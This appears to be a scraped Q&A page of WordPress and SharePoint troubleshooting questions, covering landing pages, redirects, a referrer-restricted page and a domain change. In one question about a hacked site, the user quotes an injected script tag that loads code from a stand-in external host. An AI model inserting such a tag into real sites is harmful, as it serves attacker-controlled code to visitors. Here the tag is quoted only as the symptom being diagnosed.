Changing landing page of website hosted on sharepoint - asp.net

I have a collection of sites hosted on sharepoint and I'm trying to change the welcome page from pages/default.aspx to one of the site's pages/default.aspx. When I try to do that normally, I get an error saying:-
The specified welcome page is not valid or does not exist within the current site.
I read up on it and found that this can be resolved by copying the default.aspx page from that site's pages to main pages folder. However, I get an error:-
You may re-try the operation, and you may need to clean up the half-created data first before re-trying.
I cannot find the place where publishing can be enabled which has been suggested as a resolution to this error.
Can someone help me and tell me how I can resolve this issue?

a sub site page cannot be converted into a landing page directly. The workaround that I used was to create a redirect page in the main site and make it the landing page. The users can then be redirected to the subsite page once they land on the redirection page.

Related

Website is showing another website on non-existent website page

This is a peculiar one.
I work for an agency, and we develop WordPress and JAM Stack sites for our clients.
I have been contacted by the IT team for one of the clients (an NGO), and they flagged something that I have not seen before.
NOTE: I am going to be using example.org as the website, to protect the identity of the client.
Basically, we developed a WordPress site for them, which works great and all, but as it turn outs there is a page on the website which points to a totally different website
The example page is as follows
example.org/news/points-to-different-website/
The news page doesn't exist in anywhere on WordPress system, and neither does it exist as a custom post type.
And another thing, I noticed is when I removed the / at the end of the URL, it shows the custom 404 page developed for the website
example.org/news/points-to-different-website
But as soon as you add the /, it shows a totally different website.
I have checked all the Apache configuration files related to the site, and it is just the normal setup for any WordPress site.
So, I am wondering what could be causing this, and how can one prevent it?
That's a strange issue. Does example.org/news/points-to-different-website/ actually redirect to another full URL, i.e. differentwebsite.com, or is the different site actually at example.org/news/points-to-different-website/?
Try
emptying the trash for both pages and posts, as there could be a conflicting slug that is causing a redirect.
Reset permalinks.
Using PHPMyAdmin, search the database for the URL points-to-different-website and see if there is malware or some kind of a redirect, an iFrame, etc.
This can sometimes happen if the server hostname is not set up correctly.
What can happen is website on the server will show in place of a non-existent site or page from another website on the same server.
If you are using a reseller hosting/shared hosting, then the site could be from another account on the server, the site could also be from another server, for example:
There are 2 servers with the hostnames serverone.myserver.com and servertwo.myserver.com... A site on serverone might show in place of a site or page on servertwo.

Only load page when arriving from a URL - WordPRess

How can I set a page (https://website.com/secret-page) to only be accessed or loaded when a visitor comes from a specific page or URL.
Example: Visitor loads /secret-page but did not arrive from /go-to-secret and therefore can't access the page and gets redirected to the /redirect page.
I was thinking of using .htaccess to achieve this but I have no idea what the code would be.
The website is built using WordPress and Elementor. Hopefully, someone can assist.

My home page automatically redirects to the user page

I installed the Ultimate Member plugin in my wordpress site and I created all the needed pages (register, login...). On my side, it seems to work fine, but one of the site's users is redirected to his profil when he try to access the home page. However, the home page is not linked to any UM behaviour.
We tried to clear cookies and cache but nothing changes, and I don't see where the problem can come from.
seems like you have to set the Default Start Site in the Customizer, maybe this helps with your problem. Otherwise please check if the Link in your Menu is correct and refers to your Homepage.Customizer Start Site

Wordpress - instance always generates page that switches to external site

I'm getting an issue where WordPress always serves me a page that takes me to an external site.
Whether I try to visit a URL on mylivesite.com, page content is always as follows (keyword= varies according to the URL I type in):
<nofollow><noindex>
<script src="http://externalsite.com/?jquery&source=mylivesite.com&
keyword=ksjdhskjfhjksfsdf"></script></noindex></nofollow>
This happens only on the live site and not on my localhost site (which should be a very close copy of the live site).
I looked through the MySQL database using string search and couldn't find
any matches to externalsite.com.
I grep'ed the entire tree of hosted files and no matches either.
Can't see any nefarious looking rules in
wp_options.rewrite_rules.
Tried to disable all plugins (except W3TC) by renaming directories within wp-content/plugins, which I think has worked.
.htaccess is the standard WordPress bootstrap.
The installation is an individual domain running its own instance of WP.
This effect prevents me accessing wp-admin on the live site.
Any ideas about what layer or setting might cause this to happen?
The site had been hacked. This was causing it to redirect to an external site after most page requests.
Cleanup guide for hacked sites: http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/
Thanks to all who provided help.

How to change wordpress domain name when site has asp.login page for portal in a separate directory?

My client wants to change his Wordpress site's domain name (from info.safetyalert.com
to safetyalert.com).
On the server there are two directories: info.safetyalert.com
(where the user is redirected when they type www.safetyalert.com into browser) and
safetyalert.com, which contains the old site which is not rendered with the exception of a login.asp page for customers that directs them to a "non-Wordpress" portal for submitting reports which is in turn linked to a database (you can see the Login link at the upper right hand corner when accessing the Wordpress home page).
My question is: In which files would I need to edit to make safetyalert.com permanent (and not changing to info.safetyalert.com in the address bar) when users goto the Wordpress site, but without affecting/crashing the login.asp page and the database in the other directory?
My previous attempts have resulted in a loop. I can provide additional info if needed. Any help is greatly appreciated!
login to admin panel of http://info.safetyalert.com/, and go to Settings > General, then change the URL (ie from http://info.safetyalert.com/ to http://www.safetyalert.com ), then you problem is solved.

Resources